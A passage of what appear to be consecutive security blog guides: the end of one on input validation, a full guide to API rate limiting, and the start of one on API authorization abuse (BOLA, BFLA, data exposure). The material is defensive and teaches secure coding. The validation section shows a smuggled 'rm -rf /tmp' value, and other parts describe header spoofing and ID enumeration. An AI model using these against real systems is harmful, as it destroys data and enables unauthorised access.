## Encode at the sink, per destination
A recurring mistake is encoding a value once when it arrives and storing the encoded form. That produces `O'Brien` in the database, which is wrong in a CSV export, wrong in an email subject line, wrong in a JSON API response, and wrong in a PDF. The encoding a value needs depends entirely on the parser about to read it, and the same stored value goes to several parsers over its life.
So: store the canonical value, and encode at each output boundary for that boundary's grammar. HTML body text, an HTML attribute, a JavaScript string literal, a URL query component, and a CSS value each have distinct rules, which is why the practical advice for browser output is to use a templating engine with contextual auto-escaping and to stop hand-rolling it. [Content Security Policy](/content-security-policy-explained) is the layer underneath that, catching what escapes.
One boundary that gets forgotten: your own database is a source of untrusted input. A value stored before your validation rules existed, or written by a batch import, or planted by an earlier injection, arrives at the sink exactly as attacker-controlled as an HTTP parameter. The trust boundary is the call you are about to make.
## Failure modes that survive code review
These are the ones that pass a reading of the code and fail in production.
**The regex anchors are line anchors.** In Ruby, `^` and `$` match at line boundaries always, so `/\A[a-z0-9.-]+\z/` is the correct security anchor and `/^[a-z0-9.-]+$/` accepts `"example.com\nrm -rf /tmp"` because the first line matches. Python's `$` matches at the end of the string or immediately before a trailing newline, so `re.match(r"^[a-z0-9.-]+$", "example.com\n")` returns a match; `re.fullmatch` or `\A...\Z` does not. JavaScript's `$` without the `m` flag is a true end anchor, and adding `m` reintroduces the problem. Check the anchor semantics of your specific engine on every validation regex you own.
**The regex is not anchored at all.** A pattern that searches rather than matches accepts any string that contains an acceptable substring. `search` and `match` and `fullmatch` are three different functions and only one of them is a validator.
**The check is client-side.** A browser-side rule is a user-experience feature. Requests arrive from tools that never ran your JavaScript. Every rule that matters is re-run server-side.
**The validator is expensive.** A pattern with nested quantifiers over an unbounded input is a denial-of-service primitive, because backtracking is superlinear in the input length. Bound the length before the pattern runs, avoid nested quantifiers, and prefer a linear-time engine or a hand-written parser for hot paths.
**Validation happened, then state changed.** A value checked at one moment and used later can be checked against a world that no longer exists. When the check and the use are separated by a gap, the gap is exploitable; see [TOCTOU race conditions](/toctou-race-condition-explained).
**Only the fields you thought of are validated.** Frameworks that bind a whole request body onto an object accept fields nobody declared, which is the [mass assignment](/mass-assignment-explained) problem, and in JavaScript the same reflex reaches [prototype pollution](/prototype-pollution-explained). Bind named fields with declared types.
**Headers and filenames were never treated as input.** `Host`, `X-Forwarded-For`, `Referer`, cookie values, upload filenames, and metadata inside uploaded files are all attacker-controlled and routinely skipped. [Host header injection](/host-header-injection-explained) exists because of exactly this gap, and file metadata is a documented delivery route covered in [attacker file formats](/attacker-file-formats-explained).
**The value is a URL and only its prefix was checked.** `startsWith("https://example.com")` accepts `https://example.com.attacker.tld` and `https://example.com@attacker.tld`. Parse the URL with a real parser, then compare the host component against an allowlist of exact hosts. This is the failure behind most [open redirect](/open-redirect-explained) and [SSRF](/ssrf-explained) bugs, and SSRF adds the harder problem of a hostname that resolves differently the second time it is looked up.
**Deserialization ran before validation.** If untrusted bytes are turned into objects before any check, the parser has already executed attacker-influenced logic. That is [insecure deserialization](/insecure-deserialization-explained), and validation cannot run early enough to help; the format itself has to be constrained.
## Semantic checks and internal boundaries
The four-jobs table above places each control at its layer, and the sink column names the API that closes each class. What that table cannot express is the middle layer: the checks that need context the edge does not have. Whether the requested transfer amount is within the account's balance, whether the target record belongs to the caller, whether the date falls in a permitted window. Ownership checks in particular are authorization rather than validation, and skipping them is [IDOR](/idor-explained).
Internal service calls get the same treatment as external ones. A value that crossed the edge of service A and then travelled to service B over an internal network is still input to service B, and the [API abuse](/api-abuse-explained) patterns show what happens when internal endpoints assume otherwise.
## Verdict
Input validation is a filter with a specific and limited job: confirm that a value is the type, size, shape, and range the application declared, in canonical form, at every boundary the value crosses. Build the rule as an allowlist, reach for a fixed set of permitted values whenever the field allows it, and reject rather than repair.
Then accept what the filter cannot do. Injection is closed at the sink by parameterized queries, argument arrays, contextual encoding, and path confinement. Ship both layers and the defense survives the next encoding trick; ship only the filter and it holds until someone finds the representation you did not consider, which the history of [OWASP Top 10](/owasp-top-10-explained) injection entries says someone always does. Applying these rules across a whole codebase is covered in [secure coding practices](/secure-coding-practices).
## Frequently asked questions
**Is sanitizing input ever the right answer?**
For one case: content that legitimately carries markup, such as a rich-text comment body, where a parser-based sanitizer rewrites the document into a known-safe subset of elements and attributes. Use a maintained library, never a regex. Everywhere else, reject the value, because a repair step transforms the input after the check and produces a string that was never validated.
**Do I need validation if I use an ORM and a templating engine?**
Yes, for a different reason. The ORM handles parameterization and the templating engine handles output encoding, so the injection classes are largely closed. Validation still enforces types, lengths, ranges, and business rules, and it catches malformed data long before it corrupts state. Both tools also have escape hatches (raw query methods, raw output helpers) that reopen the classes when they are used.
**How do I validate a field that must accept arbitrary text?**
Constrain what you can (type, maximum length, permitted Unicode categories, no control characters other than the ones you want) and let the sink-level controls carry the rest. A free-text field is exactly the case that proves validation cannot be the injection defense, because the acceptable character set includes the characters an attacker would use.
**Should rejected input be logged?**
Log the fact of the rejection with the field name, the failing rule, the endpoint, and a request identifier, because repeated failures on one field is a strong probing signal. Be deliberate about logging the value itself: it is attacker-controlled, it may contain payloads aimed at whatever reads the log, and log viewers have their own injection problems.
## Related guides
- [Secure Coding Practices](/secure-coding-practices)
- [API Security Guide](/api-security-guide)
- [SQL Injection Explained](/sql-injection-explained)
- [Command Injection Explained](/command-injection-explained)
- [Path Traversal Explained](/path-traversal-explained)
- [XSS Attacks Explained](/xss-attacks-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- OWASP Input Validation Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
- OWASP Injection Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html
- CWE-20: Improper Input Validation (MITRE): https://cwe.mitre.org/data/definitions/20.html
- CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (MITRE): https://cwe.mitre.org/data/definitions/180.html
- RFC 3986: Uniform Resource Identifier (URI), Generic Syntax (IETF): https://www.rfc-editor.org/rfc/rfc3986
- Unicode Standard Annex #15: Unicode Normalization Forms (Unicode Consortium): https://www.unicode.org/reports/tr15/
- NIST SP 800-53 Rev. 5, SI-10: Information Input Validation (NIST): https://csrc.nist.gov/projects/risk-management/sp800-53-controls/release-search#!/control?version=5.1&number=SI-10
---
## API Rate Limiting Explained: Algorithms, Keys, and 429s
> How API rate limiting works: token bucket, leaky bucket and sliding window algorithms, what key to count on, where to enforce, and the failure modes that make a limiter decorative.
- URL: https://blog.pwnsy.com/rate-limiting-explained
- Date: 2026-08-25
- Updated: 2026-08-25
- Difficulty: intermediate
- Category: web-security
- Tags: rate-limiting, api-security, throttling, appsec, web-security
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- A rate limiter answers three questions in order: what identity am I counting on, what budget does that identity get, and what happens when the budget runs out.
- Token bucket allows a burst up to the bucket size then settles to the refill rate; leaky bucket smooths output to a fixed rate; sliding window fixes the boundary burst that makes fixed windows leak double the limit.
- A limit counted on a spoofable value (a client-supplied X-Forwarded-For, an API key anyone can mint, a device ID from the request body) costs an attacker one header to bypass.
- Enforce at the edge for volume, at the gateway for identity, and in the application for anything that depends on business state, and price expensive endpoints higher than cheap ones.
### Key Takeaways
- Token bucket with lazy refill is the default choice: two stored values per key, burst tolerance you can tune, and O(1) cost per request.
- A fixed window of 100 per minute permits 200 requests in a 200ms straddle of the boundary; a sliding window counter removes that without storing every timestamp.
- Count on the strongest identity available (account, then API key, then network prefix), and derive client IP by counting back from the right of X-Forwarded-For by the number of proxies you actually operate.
- Rate limit IPv6 on the /64 prefix, because a single host is routinely handed 18 quintillion addresses.
- Charge the budget before the expensive work happens, and make the counter update one atomic operation so the limiter itself cannot be raced.
- Return 429 with Retry-After, plus rate-limit hint headers, so well-behaved clients back off instead of retrying into the wall.
### FAQ
**Q: What is API rate limiting?**
API rate limiting is a control that caps how many requests a given identity may make to an endpoint in a given time. It has three parts: a key that identifies the caller (account ID, API key, IP prefix), a budget expressed as a count over a window or a refill rate, and a response when the budget is exhausted, normally HTTP 429 Too Many Requests with a Retry-After header.
**Q: What is the difference between token bucket and leaky bucket?**
Token bucket holds a stock of tokens that refills at a fixed rate up to a maximum. A request spends a token, so an idle client can burst up to the full bucket size and then proceeds at the refill rate. Leaky bucket models a queue that drains at a fixed rate, so output is smoothed to that rate and bursts wait rather than passing through. Token bucket favours latency for bursty legitimate clients; leaky bucket favours a constant load on the thing behind it.
**Q: Why is a fixed window rate limit unsafe?**
A fixed window resets its counter at a wall-clock boundary. With a limit of 100 per minute, a client can send 100 requests in the final fraction of one minute and 100 more in the first fraction of the next, delivering 200 requests in a fraction of a second while never exceeding the stated limit. A sliding window counter weights the previous window by the fraction of it still in view and removes the boundary effect.
**Q: Should I rate limit by IP address?**
IP is the only key available for unauthenticated traffic, so it stays useful, with two caveats. Carrier-grade NAT and corporate egress put thousands of unrelated users behind one address, so a tight per-IP limit causes collateral blocking. IPv6 gives a single host a whole /64, and a subscriber is typically allocated a /56 or /48, so count on the /64 prefix rather than the individual address. Where an account or API key exists, limit on that first and treat IP as a secondary ceiling.
**Q: What HTTP status code should a rate limiter return?**
429 Too Many Requests, defined in RFC 6585. Include Retry-After with the number of seconds until the caller may try again, and rate-limit hint headers so a client can pace itself before it hits the wall. The widely deployed convention is the three fields RateLimit-Limit, RateLimit-Remaining and RateLimit-Reset; the current IETF draft has replaced those with two structured fields, RateLimit and RateLimit-Policy. Avoid 403, which tells a client the request is permanently refused and invites an immediate retry from a different path.
**Q: Does rate limiting stop a DDoS attack?**
It stops the application-layer abuse that a single identity generates: credential stuffing, enumeration, scraping and expensive-query floods. A volumetric attack from a large botnet saturates the link before your limiter is reached, so it has to be absorbed upstream.
A rate limiter is a small amount of arithmetic sitting in front of an expensive thing. It answers one question per request, in a few microseconds, using a couple of numbers it remembers about the caller: has this identity already used its share.
The arithmetic is easy. The parts that go wrong are the ones around it. Teams pick an algorithm whose boundary behaviour lets double the stated limit through. They count on a value the client supplies. They put the limiter behind the work it was meant to protect. They deploy it on eight application servers with eight independent counters and ship a limit eight times looser than the one in the documentation. This guide covers the mechanism in order: the algorithms and what each one actually does to traffic, the key you count on, where the check belongs, what to return, and the ways the whole thing quietly stops working.
Rate limiting is a control. The abuse it contains is covered elsewhere: [API Abuse Explained](/api-abuse-explained) owns the authorization failures that limiting only blunts, [DDoS Attacks Explained](/ddos-attacks-explained) owns volumetric floods, which arrive as a capacity problem long before they arrive as a counting problem, and [API Security Best Practices](/api-security-guide) owns the wider defensive program that a limit budget sits inside.
## The three decisions
Every limiter, from an nginx directive to a distributed quota service, is these three choices:
1. **The key.** The string you count against. An account ID, an API key, a source IP prefix, a session, or a composite of several.
2. **The budget.** How much that key may spend, expressed as a count over a window or as a refill rate with a burst allowance, optionally weighted by how expensive each request is.
3. **The outcome.** Reject, queue, or degrade, and what you tell the caller.
Choose the budget wrong and you either block paying customers or admit an attacker. The algorithm sits inside decision two, and it is the part most discussions start with, so start there and then correct the emphasis.
## The algorithms
### Fixed window counter
Store one integer per key per window. On each request, increment it, and reject when it exceeds the limit. At the window boundary the counter resets.
```
key: user:8812:2026-08-25T14:33
value: 47
TTL: 60s
```
It costs one counter and one expiry per key, and in Redis it is a single `INCR` followed by an `EXPIRE` on first write. The flaw is the boundary. With a limit of 100 per minute, a client that sends 100 requests at 14:33:59.900 and 100 more at 14:34:00.100 has delivered 200 requests in 200 milliseconds without ever breaking the stated rule. Any attacker who reads your documentation gets double the limit for free, on demand, every minute.
### Sliding window log
Store a timestamp for every request. On each request, drop entries older than the window and count what remains. Exact, and the memory cost is the limit itself: a 1,000-per-hour limit across 200,000 keys is 200 million timestamps. Correct, and rarely worth what it costs.
### Sliding window counter
Keep the current window's count and the previous window's count, then weight the previous one by how much of it is still inside the trailing window.
```
limit = 100 per 60s
previous minute count = 90
current minute count = 30
elapsed in current = 15s (so 45s of the previous window is still in view)
estimate = 90 * (45/60) + 30
= 67.5 + 30
= 97.5 -> under 100, allow
```
Two integers per key, no boundary burst, and an error that only appears when traffic is wildly uneven inside a window. This is the practical answer when you want window semantics.
### Token bucket
Each key owns a bucket with a capacity and a refill rate. A request spends one token. An empty bucket rejects.
No timer is involved. Store two values, the token count and the timestamp of the last update, and compute the refill lazily when the request arrives.
```
capacity = 20 tokens
refill = 5 tokens/second
stored = (tokens, last_seen)
on request at time t:
tokens = min(capacity, tokens + (t - last_seen) * refill)
last_seen = t
if tokens >= 1: tokens -= 1; allow
else: deny, retry_after = (1 - tokens) / refill
```
Worked through with real numbers. A client has been idle, so its bucket sits full at 20. It fires 20 requests inside 50ms, the last of them at t = 0.050s: all 20 pass, the bucket lands on 0 and `last_seen` is 0.050. Request 21 arrives at t = 0.100s, so tokens = 0 + (0.100 - 0.050) * 5 = 0.25, which is under 1, and the limiter denies with `Retry-After: 1` (0.75 tokens short, at 5 per second, is 0.15s, rounded up to the nearest second the header can express). From there the client is paced at exactly 5 requests per second, and if it goes quiet for 4 seconds it earns a full 20-request burst again.
That behaviour is the reason token bucket wins by default. Real clients are bursty (a page loads and fires eleven API calls at once), and a limiter that rejects a normal page load is a limiter someone will turn off.
### Leaky bucket
Model the same bucket as a queue that drains at a constant rate. Requests enter the queue, the queue empties at the drain rate, and arrivals that overflow the queue are dropped. With capacity 20 and a drain of 5 per second, the same burst of 20 does not reach the backend in 50ms. It reaches it at 5 per second, with the last request served 4 seconds later.
The trade is explicit: the backend sees a perfectly flat load, and the caller pays in latency. Use it in front of something whose failure mode is concurrency rather than volume, such as a third-party API with a hard contractual rate, or a payment processor. GCRA (the generic cell rate algorithm, borrowed from ATM networking) is the same shape stored as a single timestamp per key, which is why several production limiters use it.
### Concurrency limits
A separate control that is often what you actually needed. Instead of requests per second, cap the number of in-flight requests per key. Ten simultaneous report generations from one tenant will hurt a database that a hundred cheap reads per second would not touch. Rate and concurrency limit different resources, and expensive endpoints usually want both.
## Comparison
| Algorithm | State per key | Burst behaviour | Boundary flaw | Best for |
|---|---|---|---|---|
| Fixed window | 1 counter | Full limit instantly | Yes, 2x at the edge | Coarse quotas where 2x is tolerable |
| Sliding window log | N timestamps | Exact | None | Small key space, exactness required |
| Sliding window counter | 2 counters | Smoothed across the boundary | None material | General-purpose window quotas |
| Token bucket | Count plus timestamp | Up to bucket capacity | None | Default for user-facing APIs |
| Leaky bucket / GCRA | Queue or one timestamp | None, output is flat | None | Protecting a fixed-rate downstream |
| Concurrency limit | 1 gauge | Not applicable | Not applicable | Expensive or long-running work |
## What to count on
This is where limiters are actually defeated.
**Account or tenant ID.** The strongest key, because it costs an attacker a real identity to obtain another one. Use it wherever the caller is authenticated. Pair it with a limit on account creation, or the strength evaporates.
**API key or client ID.** Good, with the same caveat: if anyone can self-serve a hundred keys in a minute, you have a per-key limit and no per-attacker limit. Tie keys to an account and limit the account in aggregate. OAuth clients have the same property, covered in [OAuth 2.0 Explained](/oauth-2-explained).
**Source IP.** The only option for unauthenticated endpoints such as login, signup and password reset. Two structural problems. Carrier-grade NAT and corporate egress place thousands of unrelated people behind one address, so a strict per-IP limit blocks an office to stop one script. And a single IPv6 host is handed a whole /64, which is 18 quintillion addresses, while a subscriber is typically allocated a /56 or a /48, so per-address counting is meaningless. Count IPv6 on the /64 (widen to the /48 for hosting ranges) and IPv4 on the /32, with a looser per-/24 ceiling behind it.
**Composite keys.** Login is the case where one key is not enough. Limit per account (to stop a targeted brute force), per IP prefix (to stop one host spraying many accounts), and globally per endpoint (to catch a distributed spray that stays under both). NIST SP 800-63B sets a concrete floor for the first of those: no more than 100 consecutive failed authentication attempts on a single account. The attack techniques these keys are sized against are covered in [How Passwords Get Cracked](/password-cracking-techniques).
`X-Forwarded-For` is a list that every proxy appends to, and the leftmost entry was written by the client. An application that takes the first value is counting on an attacker-supplied string, and the bypass is one header per request: `X-Forwarded-For: 1.2.3.4`, then `1.2.3.5`, forever. Take the value at a fixed offset counted back from the **right**, where the offset is the number of proxies you operate, and strip anything the outermost proxy did not add. RFC 7239's `Forwarded` header has the same property. The same goes for a device ID, session token or tenant name read out of a request body: if the client writes it, it buys unlimited budget. See [Host Header Injection Explained](/host-header-injection-explained) for the wider pattern of trusting request metadata.
**Request cost.** A flat request count prices a `GET /health` the same as a report export or a deeply nested GraphQL query, so an expensive endpoint spends more than one token from the same bucket. Choosing the unit and the number is budget design, covered in [API Security Best Practices](/api-security-guide); for GraphQL the price has to be computed from the query itself, which is [GraphQL Attacks Explained](/graphql-attacks-explained) territory.
## Where to enforce it
Rate limiting belongs at more than one layer, because each layer knows something the others do not.
| Layer | Sees | Enforce here |
|---|---|---|
| CDN / edge | IP, geography, TLS fingerprint, raw volume | Crude per-IP ceilings, bot rules, absorbing floods before origin |
| API gateway / reverse proxy | Route, API key, JWT claims | Per-key and per-route quotas, the published limits |
| Application | Account, tenant, business state, request cost | Cost-weighted limits, per-feature caps, anything needing a database read |
| Downstream / worker | Queue depth, connection pool | Concurrency limits and backpressure |
The edge is the only place that can help against volume, because a flood that reaches your origin has already consumed the bandwidth. The application is the only place that knows this account is on a free plan and this query is expensive. Neither substitutes for the other.
**Shared state is the operational catch.** A per-process counter on eight application servers is eight independent budgets, so the effective limit is eight times what you documented, and it moves every time you autoscale. Centralise the counter in Redis or an equivalent, and make the read-modify-write a single atomic operation: `INCR` for windows, a Lua script or a compare-and-set loop for token buckets. That central store is now on the request path, so decide in advance what happens when it is unreachable.
## Failure modes
**The limiter itself gets raced.** A limiter that reads the counter, compares it to the limit, and writes the increment as three separate steps is check-then-act on shared state, and a burst of concurrent requests can all read the same pre-increment value and all pass. This is the reason atomic operations matter here specifically, and it is also why rate limiting does not fix the underlying class of bug: [TOCTOU Race Conditions Explained](/toctou-race-condition-explained) covers limit-overrun attacks in full, and a limiter is one more resource with a limit to overrun.
**Counting after the expensive work.** A limiter that runs after authentication, after the database lookup and after the template render has already spent everything it was protecting. Charge the budget as early in the request lifecycle as the key is known.
**Fail-open silence.** When the Redis holding the counters times out, the common default is to allow the request. That is a reasonable availability choice and a terrible one to make implicitly, because an attacker who can degrade your counter store has disabled your limiter. Choose deliberately per endpoint: fail open on read paths, fail closed on login, password reset, payment and account creation, and alarm on the transition either way.
**Limiting only the front door.** Teams limit `POST /login` and leave the token refresh endpoint, the mobile API, the GraphQL mutation that also authenticates, and the legacy v1 route unlimited. Enumeration then moves to whichever endpoint distinguishes a real account from a fake one, which is usually password reset or signup. Inventory every path that touches the same resource.
**Uniform limits across a non-uniform API.** One global limit has to be loose enough for the cheapest endpoint, which makes it useless for the most expensive one. Price by cost.
**Low and slow.** A distributed attacker with 5,000 hosts, each making one request every ten seconds, stays under any per-IP limit ever written while generating 500 requests per second in aggregate. Per-key limits do not see this. Only the global ceiling described above and anomaly detection on the aggregate rate catch it, and the residue is a bot-management problem.
**Leaking through the response.** A limiter that returns a different error for "no such account" than for "wrong password" hands an attacker an enumeration oracle that survives whatever the limit is. Also avoid returning the exact remaining count to unauthenticated callers on sensitive endpoints, since it tells a script precisely how hard it may push.
**Retry storms.** A limit with no `Retry-After` teaches every client to retry immediately, so a brief overload becomes a sustained one. Return the header, and require exponential backoff with jitter in your own SDKs.
## What to return
Reject with `429 Too Many Requests` (RFC 6585). Include:
```
HTTP/1.1 429 Too Many Requests
Retry-After: 30
RateLimit-Policy: "default";q=100;w=60
RateLimit: "default";r=0;t=30
Content-Type: application/json
{"error":"rate_limited","message":"Quota exhausted. Retry in 30 seconds."}
```
`Retry-After` is defined in RFC 9110 and takes either seconds or an HTTP date. The rate-limit hint headers let a well-written client pace itself before it is rejected. Two syntaxes are in circulation. The IETF HTTP API working group draft, still an Internet-Draft rather than an RFC, now defines exactly two Structured Fields, `RateLimit` and `RateLimit-Policy`, as shown above. Older draft versions defined three separate fields, `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and those are what most deployed APIs and client libraries still send and parse. Emitting both costs a few bytes and is the safe position today. Send them on successful responses too.
Two things to avoid. Do not answer with `403`, which reads as a permanent authorization decision and tells a client nothing about waiting. Do not silently drop the connection on a normal user's overage, because a client that receives nothing retries.
Picking the number itself, and rolling it out without breaking legitimate traffic, belongs to budget design: [API Security Best Practices](/api-security-guide) covers observe-only rollout and how to choose the unit you count.
## A worked configuration
For a login endpoint on a service with roughly 200,000 daily active users:
- **Per account:** token bucket, capacity 5, refill 1 token per 60 seconds, spent only on a *failed* attempt. A legitimate user who fumbles a password three times is unaffected. A guessing attack against one account gets 5 immediate tries then 1 per minute. NIST SP 800-63B caps consecutive failed attempts on a single account at 100, so the bucket is paired with a hard stop: after 100 consecutive failures the account requires a verified reset.
- **Per IPv4 /32 and IPv6 /64:** sliding window counter, 30 failed attempts per 10 minutes, then a hard block for 30 minutes. Loose enough for a NATed office, and it paces a single host at 30 attempts per half-hour cycle, so one guess against each of 5,000 accounts takes over 80 hours.
- **Global on the endpoint:** a ceiling set well above the measured peak of legitimate failed logins for this service, so only a distributed spray reaches it. Crossing it pages someone and turns on a challenge for unrecognised devices rather than blocking outright.
- **Fail closed** if the counter store is unavailable, with a 2-second timeout and an alert.
## Verdict
Use a token bucket with lazy refill, keyed on the strongest identity the request carries, with a per-endpoint cost weight, enforced in shared atomic state at the gateway, backed by a crude per-prefix ceiling at the edge and a concurrency cap on anything expensive. Return 429 with `Retry-After` and rate-limit hint headers. Fail closed on the endpoints where an attacker benefits from your outage.
A perfectly implemented sliding window counted on a client-supplied header is a lookup that always returns "allow", and a fixed window keyed on a verified account ID, charged before the expensive work, will contain most of the abuse a public API actually receives. Fix the key first, then the placement, then argue about buckets. And keep the scope honest: limiting caps the rate of a request an attacker was already entitled to make, so the authorization checks in [API Abuse Explained](/api-abuse-explained) and the atomicity in [TOCTOU Race Conditions Explained](/toctou-race-condition-explained) still have to be right underneath it.
## Related guides
- [API Abuse Explained](/api-abuse-explained)
- [API Security Best Practices](/api-security-guide)
- [TOCTOU Race Conditions Explained](/toctou-race-condition-explained)
- [DDoS Attacks Explained](/ddos-attacks-explained)
- [GraphQL Attacks Explained](/graphql-attacks-explained)
- [Host Header Injection Explained](/host-header-injection-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
- [How Passwords Get Cracked](/password-cracking-techniques)
### Sources
- RFC 6585: Additional HTTP Status Codes (429 Too Many Requests) (IETF): https://datatracker.ietf.org/doc/html/rfc6585#section-4
- RFC 9110: HTTP Semantics (Retry-After) (IETF): https://datatracker.ietf.org/doc/html/rfc9110#section-10.2.3
- RFC 7239: Forwarded HTTP Extension (IETF): https://datatracker.ietf.org/doc/html/rfc7239
- RateLimit header fields for HTTP (IETF HTTP API Working Group): https://datatracker.ietf.org/doc/draft-ietf-httpapi-ratelimit-headers/
- OWASP API Security Top 10: API4:2023 Unrestricted Resource Consumption (OWASP): https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/
- NIST SP 800-63B: Digital Identity Guidelines, Authentication and Lifecycle Management (NIST): https://pages.nist.gov/800-63-3/sp800-63b.html
- OWASP Authentication Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
---
## API Abuse Explained: BOLA, BFLA, and Excessive Data Exposure
> How API abuse works through the OWASP API Top 10: broken object and function level authorization, excessive data exposure, and rate-limit defense.
- URL: https://blog.pwnsy.com/api-abuse-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: api-security, bola, authorization, owasp, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Most API abuse is an authorization failure: the API authenticates who you are, then forgets to check whether you are allowed to touch this specific object or action.
- Broken Object Level Authorization lets an attacker swap an ID in a request and read or change records that belong to someone else.
- Broken Function Level Authorization lets a normal user reach admin-only endpoints simply by calling them directly.
- Excessive data exposure and missing rate limits turn small gaps into bulk data theft and abuse at scale.
### Key Takeaways
- Check authorization against the authenticated user for every object and every action, on the server, on every request.
- Never rely on the client hiding an endpoint or a field; if it exists, assume an attacker will call it directly.
- Return only the fields a caller needs, and filter server-side rather than trusting the client to drop sensitive fields.
- Rate limiting and resource quotas blunt enumeration, brute force, and scraping when authorization gaps do exist.
- Object-level and function-level authorization are the top two entries in the OWASP API Security Top 10 for good reason.
APIs are where the data actually lives, and attackers have noticed. A web page can hide a button, but the API behind it answers to anyone who sends the right request. When an API authenticates a user correctly and then fails to check what that user is allowed to do, the result is API abuse: reading other people's records, calling actions meant for admins, or pulling far more data than a feature ever displays.
This guide walks through the abuse patterns that dominate the OWASP API Security Top 10: broken object level authorization, broken function level authorization, and excessive data exposure, plus the rate-limiting layer that limits the damage. For the defensive foundation, pair it with the [API Security Guide](/api-security-guide).
## Authentication is not authorization
The single idea behind almost every entry below is the gap between two questions. Authentication asks "who are you", and most APIs answer it well with tokens and sessions. Authorization asks "are you allowed to do this, to this specific thing", and that is where APIs fall down.
The reason is structural. A REST or GraphQL API exposes objects by identifier and actions by endpoint. The identifier and the endpoint are right there in the request, fully under the caller's control. If the server checks the token and then trusts the identifier, an authenticated user can reach past their own data by editing what they send. Exploiting a public API this way maps to [Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/) on MITRE ATT&CK.
## Broken Object Level Authorization (BOLA)
BOLA is the number one API risk, and it is the simplest to understand. An endpoint takes an object identifier and returns or modifies that object without confirming the object belongs to the caller.
```
GET /api/v1/orders/1024 -> your order
GET /api/v1/orders/1025 -> someone else's order
```
If the server returns order 1025 to a user who owns only 1024, the authorization check is missing. The attacker simply increments, decrements, or guesses identifiers and harvests records one by one. Sequential integer IDs make this trivial, but even random identifiers are not a fix, because an attacker who obtains a valid ID from a referral link, a log, or a shared URL can still access it if the ownership check is absent.
This is the same underlying flaw as [Insecure Direct Object Reference](/idor-explained), viewed through the API lens. The defense is to check, on every request, that the authenticated user is authorized for the specific object named, using the user identity from the session rather than anything the client supplied.
Switching from sequential integers to random identifiers raises the effort of enumeration; it does not authorize anything. A random ID that leaks in a log, a shared link, or a referrer is just as usable to an attacker as a guessed one. The only real fix is a server-side ownership check on every object access.
## Broken Function Level Authorization (BFLA)
Where BOLA is about the wrong object, BFLA is about the wrong action. Many APIs expose privileged functions, deleting any user, changing a role, viewing all records, and rely on the client to only show those functions to admins. The endpoints themselves accept calls from anyone authenticated.
```
POST /api/v1/admin/users/1025/promote
DELETE /api/v1/admin/users/1025
```
A normal user who discovers or guesses these routes, often by reading the front-end code or changing an HTTP method, can invoke administrative actions directly. Common shapes of this bug:
- Admin routes that check that you are logged in but not that you are an admin.
- Endpoints where changing `GET` to `POST` or `DELETE` reaches an unprotected handler.
- Role escalation through a mutation the UI never exposes but the API still honors.
The fix is to enforce role and permission checks at the function itself, server-side, denying by default, so reaching the route without the right role fails regardless of how the caller found it.
## Excessive data exposure
This one hides in plain sight. An API returns a full object, and the front end displays only part of it. The rest, an email, a password hash, an internal flag, a full address, is sitting in the response body, one browser dev-tools panel away.
The root cause is returning the whole database record and trusting the client to hide fields. The client is not a security boundary. An attacker reads the raw response and takes everything in it. When paired with a BOLA gap, excessive exposure turns a single leaked record into a rich profile, and repeated across enumerated IDs it becomes a bulk breach.
The related failure is mass assignment, where an API binds a whole request body onto an object and lets a caller set fields they should never control, such as `isAdmin` or `balance`. See [Mass Assignment Explained](/mass-assignment-explained) for that direction of the same trust mistake.
The defense is to shape responses and requests explicitly: return only the fields a caller needs, filter server-side, and bind only the fields a caller is allowed to set.
## Missing rate limits and resource controls
Even a well-authorized API is abusable if a caller can hammer it without limit. Missing rate limits enable credential stuffing against login, enumeration against any ID-based endpoint, scraping of catalogs, and resource exhaustion that degrades the service for everyone. Rate limiting does not fix an authorization gap, and it does contain the blast radius of one while you close it, and it stops the abuse that needs no gap at all. See [Rate Limiting Explained](/rate-limiting-explained) for the mechanics.
## How the pieces chain together
These flaws are dangerous alone and worse in combination. A real attack usually strings several together. An attacker starts with a shadow endpoint nobody remembered to protect, finds it authenticates but does not authorize, swaps an object ID to reach another user's record (BOLA), reads fields the UI never shows in the raw response (excessive exposure), and, with no rate limit in the way, walks every ID in sequence until they have the whole table. No single bug in that chain looks catastrophic in isolation. Together they are a bulk breach.
This is why defending an API is a matter of applying the same few checks everywhere rather than hardening one dramatic endpoint. The attacker looks for the one route where the habit slipped.
## Business logic abuse
Not every API abuse is a missing check on data. Some target the logic itself: replaying a one-time discount code, requesting a negative quantity to invert a charge, racing two withdrawal requests so both succeed against the same balance, or skipping a required step in a multi-stage flow by calling the final endpoint directly. Automated scanners rarely catch these because every individual request is well-formed and authorized. Finding them takes understanding what the workflow is supposed to guarantee and testing whether the API enforces that order and those invariants server-side.
## Attack summary
| Abuse | OWASP API theme | What the attacker does | Primary defense |
|---|---|---|---|
| BOLA | Broken Object Level Authorization | Swaps object IDs to reach others' data | Per-object ownership check on every request |
| BFLA | Broken Function Level Authorization | Calls admin endpoints directly | Role check at the function, deny by default |
| Excessive data exposure | Broken Object Property Level Authorization | Reads hidden fields in the raw response | Return only needed fields, filter server-side |
| Mass assignment | Broken Object Property Level Authorization | Sets fields they should not control | Bind only allowed fields |
| No rate limiting | Unrestricted Resource Consumption | Enumerates, stuffs, scrapes at scale | Rate limits and quotas |
